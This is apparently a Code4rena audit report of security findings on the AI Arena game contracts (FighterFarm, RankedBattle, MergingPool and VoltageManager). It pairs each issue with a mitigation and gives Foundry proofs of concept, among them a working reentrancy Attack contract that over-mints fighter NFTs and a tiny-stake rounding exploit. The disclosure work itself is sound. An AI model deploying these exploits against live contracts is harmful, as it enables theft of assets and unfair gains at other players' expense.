AI Arena - DarkTower's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L257

Vulnerability details

Impact

The current implementation of the redeemMintPass function in the FighterFarm contract allows users to choose any fighter type when redeeming a mint pass, including the dendroid type, which is indicated as the rarest and most powerful type available. This design leads to a situation where all players have an incentive to only mint the dendroid type, thereby undermining the rarity intended among the various fighter types. This could potentially lead to a lack of diversity in the game's ecosystem and diminish the unique value of rarer fighters.

Proof of Concept

The redeemMintPass function does not restrict the choice of fighter types when minting, allowing users to specify any fighter type, including the rarest type, through parameters such as fighterTypes. Here's a simplified code snippet illustrating the issue:

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes, // Players can choose any type, including the rarest
    ...
) external {
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        ...
        _createNewFighter(
            msg.sender,
            ...
            fighterTypes[i], // Fighter type is directly taken from input
            ...
        );
    }
}

Here's a coded POC for this issue. Place the test in the FighterFarm.t.sol file and run the code forge test --mt testRedeemMintPassForDendroid -vv

    function testRedeemMintPassForDendroid() public {
        uint8[2] memory numToMint = [1, 0];
        bytes memory signature = abi.encodePacked(
            hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
        );
        string[] memory _tokenURIs = new string[](1);
        _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        // first i have to mint an nft from the mintpass contract
        assertEq(_mintPassContract.mintingPaused(), false);
        _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
        assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
        assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

        // once owning one i can then redeem it for a fighter
        uint256[] memory _mintpassIdsToBurn = new uint256[](1);
        string[] memory _mintPassDNAs = new string[](1);
        uint8[] memory _fighterTypes = new uint8[](1);
        uint8[] memory _iconsTypes = new uint8[](1);
        string[] memory _neuralNetHashes = new string[](1);
        string[] memory _modelTypes = new string[](1);

        _mintpassIdsToBurn[0] = 1;
        _mintPassDNAs[0] = "dna";
        _fighterTypes[0] = 1;
        _neuralNetHashes[0] = "neuralnethash";
        _modelTypes[0] = "original";
        _iconsTypes[0] = 1;

        // approve the fighterfarm contract to burn the mintpass
        _mintPassContract.approve(address(_fighterFarmContract), 1);

        // Player choses drid because it is a rare fighter type
        _fighterFarmContract.redeemMintPass(
            _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
        );

        // check balance to see if we successfully redeemed the mintpass for a fighter
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);

        // Check that dendroidBool is the fighter type of the minted fighter
        (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0);
        assertEq(dendroidBool, true);
    }

Tools Used

Manual review + foundry

Recommended Mitigation Steps

• You can modify redeemMintPass function to include logic that controls the rarity of fighter types that can be minted.
• Another proposition would be to introduce different tiers of mint passes, where each tier allows for the minting of fighters up to a certain rarity level.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L527-L528 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L530-L531

Vulnerability details

Impact

A player can get into battles with no underlying risk taken on because they can stake a small amount (or the smallest amount possible) just enough to be rounded down while also maintaining the same potential reward as their opponent even though the opponent's stake is more than theirs. This issue creates an unfair route for some players to spam games with no risk attached while the opponent and other players are treated unfairly regarding their stake at risk.

Proof of Concept

This issue exists in the RankedBattle::_addResultPoints where the potential amount of NRNs to put at risk for a player will be rounded down if their stake is small.

Consider a visual scenario:

• Alice stakes 1 wei in NRN
• Bob stakes 3 NRN
• They both will get the same rewards should either win (which shouldn't be the case because of their stakes - Bob has 3*10**18 Alice's stake). The stakingFactor_ is rounded to 1 when it is initially 0 for Alice. For bob the sqrt rounds down the 3 stakes tokens to 1.
• But their underlying risk is not the same because Bob has 3*10**18x Alice's risk and Alice's risk being small in this case is rounded down to 0.

The code below highlights a line where this rounding issue occurs: curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;

function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        uint256 stakeAtRisk;
        uint256 curStakeAtRisk;
        uint256 points = 0;

        /// Check how many NRNs the fighter has at risk
        stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);

        /// Calculate the staking factor if it has not already been calculated for this round 
        if (_calculatedStakingFactor[tokenId][roundId] == false) {
            stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk);
            _calculatedStakingFactor[tokenId][roundId] = true;
        }

        /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
@>        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; // @audit if the amount staked is very small, it will round down to 0
        if (battleResult == 0) {
            /// If the user won the match

            /// If the user has no NRNs at risk, then they can earn points
            if (stakeAtRisk == 0) {
                points = stakingFactor[tokenId] * eloFactor;
            }

            /// Divert a portion of the points to the merging pool
            uint256 mergingPoints = (points * mergingPortion) / 100;
            points -= mergingPoints;
            _mergingPoolInstance.addPoints(tokenId, mergingPoints);

            /// Do not allow users to reclaim more NRNs than they have at risk
            if (curStakeAtRisk > stakeAtRisk) {
                curStakeAtRisk = stakeAtRisk;
            }

            /// If the user has stake-at-risk for their fighter, reclaim a portion
            /// Reclaiming stake-at-risk puts the NRN back into their staking pool
            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] += curStakeAtRisk;
            }

            /// Add points to the fighter for this round
            accumulatedPointsPerFighter[tokenId][roundId] += points;
            accumulatedPointsPerAddress[fighterOwner][roundId] += points;
            totalAccumulatedPoints[roundId] += points;
            if (points > 0) {
                emit PointsChanged(tokenId, points, true);
            }
        } else if (battleResult == 2) {
            /// If the user lost the match

            /// Do not allow users to lose more NRNs than they have in their staking pool
            if (curStakeAtRisk > amountStaked[tokenId]) {
                curStakeAtRisk = amountStaked[tokenId];
            }
            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor;
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
                totalAccumulatedPoints[roundId] -= points;
                if (points > 0) {
                    emit PointsChanged(tokenId, points, false);
                }
            } else {
                /// If the fighter does not have any points for this round, NRNs become at risk of being lost
                bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
                if (success) {
                    _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                    amountStaked[tokenId] -= curStakeAtRisk;
                }
            }
        }
    }

For the staking factor the rounding down occurs here :

    function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
@>    uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }
      return stakingFactor_;
    } 

Here's a coded POC for this issue. Place the test in the RankedBattle.t.sol file and run the code forge test --mt testBattleWithVerySmallStake -vv

function testBattleWithVerySmallStake() public {
        // Mint 2 fighters for the players
        address player1 = makeAddr("Player1");
        address player2 = makeAddr("Player2");
        _mintFromMergingPool(player1);
        _fundUserWith4kNeuronByTreasury(player1);
        _mintFromMergingPool(player2);
        _fundUserWith4kNeuronByTreasury(player2);

        // Player 1 stakes the lowest amount possible
        vm.prank(player1);
        _rankedBattleContract.stakeNRN(1, 0);

        // Player 2 stakes 3 NRN
        vm.prank(player2);
        _rankedBattleContract.stakeNRN(3*10**18, 1);

        // Check the amounts
        assertEq(_rankedBattleContract.amountStaked(0), 1);
        assertEq(_rankedBattleContract.amountStaked(1), 3*10**18);

        // Update with winning battles for both players
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        uint256 accumulatedPointsPlayer1 = _rankedBattleContract.accumulatedPointsPerAddress(player1, 0);
        emit log_uint(accumulatedPointsPlayer1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        uint256 accumulatedPointsPlayer2 = _rankedBattleContract.accumulatedPointsPerAddress(player2, 0);
        emit log_uint(accumulatedPointsPlayer2);

        // Both players have won the same exact points
        assertEq(accumulatedPointsPlayer1, accumulatedPointsPlayer2);

        /************************************************************************************************* */

        // Update with losing battle
        address player3 = makeAddr("Player3");
        address player4 = makeAddr("Player4");
        _mintFromMergingPool(player3);
        _fundUserWith4kNeuronByTreasury(player3);
        _mintFromMergingPool(player4);
        _fundUserWith4kNeuronByTreasury(player4);


        // Player 3 stakes the lowest amount possible
        vm.prank(player3);
        _rankedBattleContract.stakeNRN(1, 2);

        // Player 4 stakes 3 NRN
        vm.prank(player4);
        _rankedBattleContract.stakeNRN(3*10**18, 3);

        // Update with losing battles for both players
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(2, 50, 2, 1500, true);
        uint256 stakeAtRiskPlayer3 = _stakeAtRiskContract.getStakeAtRisk(2);
        emit log_uint(stakeAtRiskPlayer3);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(3, 50, 2, 1500, true);
        uint256 stakeAtRiskPlayer4 = _stakeAtRiskContract.getStakeAtRisk(3);
        emit log_uint(stakeAtRiskPlayer4);

        assertEq(stakeAtRiskPlayer3, 0);
        assertEq(stakeAtRiskPlayer4, 3 *10**15);
    }

Some test logs show that even with different stakes at risk, the points are the same but the potential NRN at risk losses are not which is unfair to Bob:

[PASS] testBattleWithVerySmallStake() (gas: 2942329)
Logs:
  750
  750
  0
  3000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.17ms

Tools Used

Manual review + foundry

Recommended Mitigation Steps

The easy fix for this is to enforce a minimum amount of NRNs to be staked which should be 3 NRN tokens at least for it to be fair and not round down due to the sqrt.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L380 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L500

Vulnerability details

Impact

Generations of fighters are expected to increase. When this happens with the current implementation of the FighterFarm contract by the protocol, the reRoll, mintFromMergingPool functions as well as other functions calling the function _createFighterBase will be DoSed. The issue stems from the fact that the numElements never gets updated and is only set once in the constructor during deployment.

Proof of Concept

Let's take a look at a visual scenario for this issue:

• Bob has some mint passes
• Claims fighter NFTs from the FighterFarm contract
• The generation for the champion fighter type is still 0 at this point of the contract's lifecycle
• Re-rolls their fighter once. They still have 2 more reRolls for the champion fighter type.
• Then the generation for the champion fighter type gets increased from 0 to 1
• Bob tries to reRoll his champion fighter token a second time but this reverts
• The MergingPoolContract tries to mint a fighter to Bob which also reverts

Since the value numElements tracks never got updated when the fighter generation changed, the value for the mapping The numElements[generation[fighterType]]will be 0, so the call to_createFighterBaseduring fighterreRolland_createNewFighter` will fail because you cannot modulo by 0.

The impacted lines of code in the _createFighterBase function call:

    function _createFighterBase(uint256 dna, uint8 fighterType) private view returns (uint256, uint256, uint256) {
@>      uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

Here's a coded POC of this issue. Place the test inside the FighterFarm.t.sol and run the test forge test --mt testRerollOrCreateFighterFailsAfterIncrementGeneration -vv

function testRerollOrCreateFighterFailsAfterIncrementGeneration() public {
        _mintFromMergingPool(_ownerAddress);
        // get 4k neuron from treasury
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        // after successfully minting a fighter, update the model

        // Check that numElements mappings is not 0 for the old generation 
        assertEq(_fighterFarmContract.numElements(_fighterFarmContract.generation(0)), 3);


        vm.prank(_ownerAddress);
        _fighterFarmContract.incrementGeneration(0);
        //Check that generation increased for fighterType = 0
        assertEq(_fighterFarmContract.generation(0), 1);

        uint8 tokenId = 0;
        uint8 fighterType = 0;

        _neuronContract.addSpender(address(_fighterFarmContract));
        // Reroll fails because of modulo by zero in _createFighterBase
        vm.expectRevert();
        _fighterFarmContract.reRoll(tokenId, fighterType);

        // _createNewFighter fails because of modulo by zero in _createFighterBase
        vm.expectRevert();
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(80)]);

        // Check that numElements mappings is 0 for this new generation 
        assertEq(_fighterFarmContract.numElements(_fighterFarmContract.generation(0)), 0);
    }

Tools Used

Manual review + foundry

Recommended Mitigation Steps

When generation incrementation happens, update the numElements as well. This will fix the issue:

+ function incrementGeneration(uint8 fighterType, uint256 numElements) external returns (uint8) {
- function incrementGeneration(uint8 fighterType) external returns (uint8) {
    require(msg.sender == _ownerAddress);
    generation[fighterType] += 1;
    maxRerollsAllowed[fighterType] += 1;
+   numElements[generation[fighterType]] = numElements;
    return generation[fighterType];
}

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L154

Vulnerability details

Impact

When a fighting round ends, winners for the current round get picked and allocated respective rewards. These rewards are fighter NFTs that can be claimed by such winners. When you claim your rewards for a round or several rounds, the numRoundsClaimed state variable which stores the number of rounds you've claimed for gets updated to reflect your claim and each winner can only ever claim up to the amounts they win for each given round. That means if you try to batch-claim for two given rounds for which you won 2 fighter NFTs, your NFT count after the claim should be whatever your current balance of NFT is plus 2 fighter NFTs.

The issue here is that there's a way to mint additional fighter NFTs on top of the fighter NFTs you're owed for winning even though the claimRewards function has implemented a decent system to prevent over-claims. For one, it's relatively complex to spoof a call pretending to be the _mergingPoolAddress to mint but a malicious user doesn't need to worry too much about that to mint more fighters; they just need to leverage using a smart contract for engineering a simple reentrancy.

Proof of Concept

Consider this call path that allows a malicious user to reach this undesired state:

1. In-session fight round gets finalized.
2. An admin picks winners for the just finalized round.
3. Alice, one of the winners is entitled to 2 fighter NFTs just like Bob and decides to claim rewards for the rounds she participated in but keep in mind she joined the game with a smart contract.
4. Alice calls claimRewards supplying the args (string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes)
5. Those are valid arguments, hence the loop proceeds to make 2 NFT mints to her address.
6. Her address, being a smart contract manages to reenter the call to mint additional NFTs.
7. Alice ends up with more fighter NFTs instead of 2. Bob, who is an EOA gets the 2 NFTs he's owed but Alice has managed to gain more.

The root cause of this issue stems from the roundId. The amount of times you can reenter the claimRewards function depends on the roundId. So let's say the roundId is 3, it mints 6 NFTs:

• First loop mints once
• Reenter mints the second time
• Reenter again mints the third time
• Cannot reenter anymore
• Control is released so the call goes back to the second loop & finishes the mint
• Call goes back & finishes the second and third mint
• Alice or malicious caller ends up with 6 NFTs instead of 3

Here's a POC to show one such attack path in the code Place the code in the MergingPool.t.sol test contract and do the setup: testReenterPOC is the attack POC test

Attack contract:

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract Attack is IERC721Receiver {
    
    address owner;
    uint256 tickets = 0;
    MergingPool mergingPool;
    FighterFarm fighterFarm;

    constructor(address mergingPool_, address fighterFarm_) {
        mergingPool = MergingPool(mergingPool_);
        fighterFarm = FighterFarm(fighterFarm_);
        owner = msg.sender;
    }
    function reenter() internal {
        ++tickets;
        if (tickets < 100) {
            (string[] memory _modelURIs, string[] memory _modelTypes, uint256[2][] memory _customAttributes) = setInformation();
            mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        }
    }

    function onERC721Received(address, address, uint256 tokenId, bytes calldata) public returns (bytes4) {
        reenter();
        return IERC721Receiver.onERC721Received.selector;
    }
    function attack() public {
        (string[] memory _modelURIs, string[] memory _modelTypes, uint256[2][] memory _customAttributes) = setInformation();
        mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
    } 

    function setInformation() public pure returns (string[] memory, string[] memory, uint256[2][] memory) {
        string[] memory _modelURIs = new string[](3);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](3);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        _modelTypes[2] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](3);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        _customAttributes[2][0] = uint256(1);
        _customAttributes[2][1] = uint256(80);

        return (_modelURIs, _modelTypes, _customAttributes);
    }  
}

    function testReenterPOC() public {

        address Bob = makeAddr("Bob");
        Attack attacker = new Attack(address(_mergingPoolContract), address(_fighterFarmContract));
        
        _mintFromMergingPool(address(attacker));
        _mintFromMergingPool(Bob);

        assertEq(_fighterFarmContract.ownerOf(0), address(attacker));
        assertEq(_fighterFarmContract.ownerOf(1), Bob);

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

         // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);  
        assertEq(_mergingPoolContract.winnerAddresses(0, 0) == address(attacker), true);
        // winner matches ownerOf tokenId
        assertEq(_mergingPoolContract.winnerAddresses(0, 1) == Bob, true);

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        // winners of roundId 1 are picked

        uint256 numberOfRounds = _mergingPoolContract.roundId();
        console.log("Number of Rounds: ", numberOfRounds);

        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);

        console.log("------------------------------------------------------");

        console.log("Balance of attacker (Alice) address pre-claim rewards: ", _fighterFarmContract.balanceOf(address(attacker)));
        // console.log("Balance of Bob address pre-claim rewards: ", _fighterFarmContract.balanceOf(Bob));


        uint256 numRewardsForAttacker = _mergingPoolContract.getUnclaimedRewards(address(attacker));
        
        // uint256 numRewardsForBob = _mergingPoolContract.getUnclaimedRewards(Bob);

        console.log("------------------------------------------------------");

        console.log("Number of unclaimed rewards attacker (Alice) address has a claim to: ", numRewardsForAttacker);
        // console.log("Number of unclaimed rewards Bob address has a claim to: ", numRewardsForBob);
        
        // vm.prank(Bob);
        // _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        vm.prank(address(attacker));
        attacker.attack();

        uint256 balanceOfAttackerPostClaim = _fighterFarmContract.balanceOf(address(attacker));

        console.log("------------------------------------------------------");
        console.log("Balance of attacker (Alice) address post-claim rewards: ", balanceOfAttackerPostClaim);
        // console.log("Balance of Bob address post-claim rewards: ", _fighterFarmContract.balanceOf(Bob));

    }

Malicious user leveraging reentrancy test result:

[PASS] testReenterPOC() (gas: 3999505)
Logs:
  Number of Rounds:  1
  ------------------------------------------------------
  Balance of attacker (Alice) address pre-claim rewards:  1
  ------------------------------------------------------
  Number of unclaimed rewards attacker (Alice) address has a claim to:  3
  ------------------------------------------------------
  Balance of attacker (Alice) address post-claim rewards:  7

Non-malicious users test POC:

function testNormalEOAClaim() public {
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);
        assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
        // winner matches ownerOf tokenId
        assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true);

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        // winners of roundId 1 are picked

        uint256 numberOfRounds = _mergingPoolContract.roundId();
        console.log("Number of Rounds: ", numberOfRounds);

        _mergingPoolContract.pickWinner(_winners);

        console.log("Balance of owner address pre-claim rewards: ", _fighterFarmContract.balanceOf(address(this)));
        console.log("Balance of delegated address pre-claim rewards: ", _fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));


        uint256 numRewardsForWinner = _mergingPoolContract.getUnclaimedRewards(_ownerAddress);
        
        uint256 numRewardsForDelegated = _mergingPoolContract.getUnclaimedRewards(_DELEGATED_ADDRESS);
        // emit log_uint(numRewardsForWinner);

        console.log("Number of unclaimed rewards owner address has a claim to: ", numRewardsForWinner);
        console.log("Number of unclaimed rewards delegated address has a claim to: ", numRewardsForDelegated);

        // winner claims rewards for previous roundIds
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        vm.prank(_DELEGATED_ADDRESS);
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        console.log("Balance of owner address post-claim rewards: ", _fighterFarmContract.balanceOf(address(this)));
        console.log("Balance of delegated address post-claim rewards: ", _fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));
    }

Non-malicious users doing a normal claim result:

[PASS] testNormalEOAClaim() (gas: 2673123)
Logs:
  Number of Rounds:  1
  Balance of owner address pre-claim rewards:  1
  Balance of delegated address pre-claim rewards:  1
  Number of unclaimed rewards owner address has a claim to:  2
  Number of unclaimed rewards delegated address has a claim to:  2
  Balance of owner address post-claim rewards:  3
  Balance of delegated address post-claim rewards:  3

Tools Used

Manual review

Recommended Mitigation Steps

Use a nonReentrant modifier for the claimRewards function.

Assessed type

Reentrancy

[L-01] Voltage replenishment will fail in 81.98 years

In roughly 81.98 years, assuming the AI Arena contract still functions, rather unlikely; voltage replenishment will fail for fighters in the Arena because at that point the block.timestamp will be too much of a value the uint32 type can accomodate, hence leading transactions to the spendVoltage >> _replenishVoltage functions to fail.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L119

/// @notice Replenishes voltage and sets the replenish time to 1 day from now
    /// @dev This function is called internally to replenish the voltage for the owner.
    /// @param owner The address of the owner
    function _replenishVoltage(address owner) private {
        ownerVoltage[owner] = 100;
    @>  ownerVoltageReplenishTime[owner] = uint32(block.timestamp + 1 days); // @audit-info will fail in 81.98 years
    }

Switching to a bigger datatype such as the uint64 or more should be fine for a long time:

- ownerVoltageReplenishTime[owner] = uint32(block.timestamp + 1 days);
+ ownerVoltageReplenishTime[owner] = uint64(block.timestamp + 1 days);

[L-02] Players can burn 1 full battery even at 90% voltage

The function is called when when a voltage battery to replenish voltage for a player in AI Arena. But it allows players to burn his battery even at 90% voltage which will also lose them the VoltageReplenishTime.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L93

    function useVoltageBattery() public {
        require(ownerVoltage[msg.sender] < 100);
        require(_gameItemsContractInstance.balanceOf(msg.sender, 0) > 0);
        _gameItemsContractInstance.burn(msg.sender, 0, 1);
        ownerVoltage[msg.sender] = 100;
        emit VoltageRemaining(msg.sender, ownerVoltage[msg.sender]);
    }

[L-03] Players can only claim one of two signatures given by the server using claimFighters

The issue here is that if players get first signature and he doesn't claim and he will get the second one. He can't use both now because nftclaimed mapping is changed after first claim. And server uses previous nftClaimed mapping state for signature generation.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L199C1-L205C13

    bytes32 msgHash = bytes32(keccak256(abi.encode(
            msg.sender,
            numToMint[0],
            numToMint[1],
            nftsClaimed[msg.sender][0],
            nftsClaimed[msg.sender][1]
        )));

[L-04] Use Oppenzeppelin's erecover function to avoid signature replay due to duplicate v value

The built-in EVM precompile ecrecover is susceptible to signature malleability (because of non-unique s and v values) which could lead to replay attacks. We recommend to use Oppenzeppelin's erecover function to avoid signature replay due to duplicate v value.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L206

require(Verification.verify(msgHash, signature, _delegatedAddress)); // @audit better to use hashstruct for signing data for better readability and security

[L-05] Transaction does not revert if the transferFrom fails and can lead to unexpected impacts

There are many instances of this issue with different impacts.

1. https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L376

This will lead to unused approval.

function reRoll(uint8 tokenId, uint8 fighterType) public { //@note can you give this any fighter type that you want ?
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost); // @note approves this contract
@>      bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); // @audit should use safetransferFrom

2. https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L270

In this case, if call fails, it can actually lock the user's funds in the contract since the amountStaked is updated before.

    function unstakeNRN(uint256 amount, uint256 tokenId) external {
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        if (amount > amountStaked[tokenId]) {
            amount = amountStaked[tokenId];
        }
        amountStaked[tokenId] -= amount;
        globalStakedAmount -= amount;
        stakingFactor[tokenId] = _getStakingFactor(
            tokenId,
            _stakeAtRiskInstance.getStakeAtRisk(tokenId)
        );
        _calculatedStakingFactor[tokenId][roundId] = true;
        hasUnstaked[tokenId][roundId] = true;
@>        bool success = _neuronInstance.transfer(msg.sender, amount);
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }
            emit Unstaked(msg.sender, amount);
        }
    }

3. https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L163

This will lead to unused approval.

  _neuronInstance.approveSpender(msg.sender, price);
@>        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, price);

[L-06] If totalSupply() is reached fast no more NRN tokens can be minted to fuel the Games

It will take approximately 60k rounds to reach 300 million NRN tokens at which point there will be no more tokens left to fuel game rewards. While the current reward being set at 5000 NRN tokens is great, it can be further reduced the more the supply gets diluted so that the number of maximum rounds can go past 60k.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/Neuron.sol#L155

    function mint(address to, uint256 amount) public virtual {
        require(totalSupply() + amount < MAX_SUPPLY, "Trying to mint more than the max supply");
        require(hasRole(MINTER_ROLE, msg.sender), "ERC20: must have minter role to mint");
        _mint(to, amount);
    }

[L-07] fighterCreatedEmitter can be called by everyone spamming the FighterCreated event

With the current implementation, anyone can call the fighterCreatedEmitter function of the FighterOps contract. Even though the events are not used offchain right now, they could be in the future which would fool off-chain services that a fighter has been created when in fact it wasn't created. The function lacks access control and can be called directly on-chain.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L530

function fighterCreatedEmitter(
        uint256 id,
        uint256 weight,
        uint256 element,
        uint8 generation
    ) 
@>      public // @audit accessible to anyone
    {
        emit FighterCreated(id, weight, element, generation);
    }

[L-08] There is no constraint on the attributeProbabilities mapping to have a sum of 100

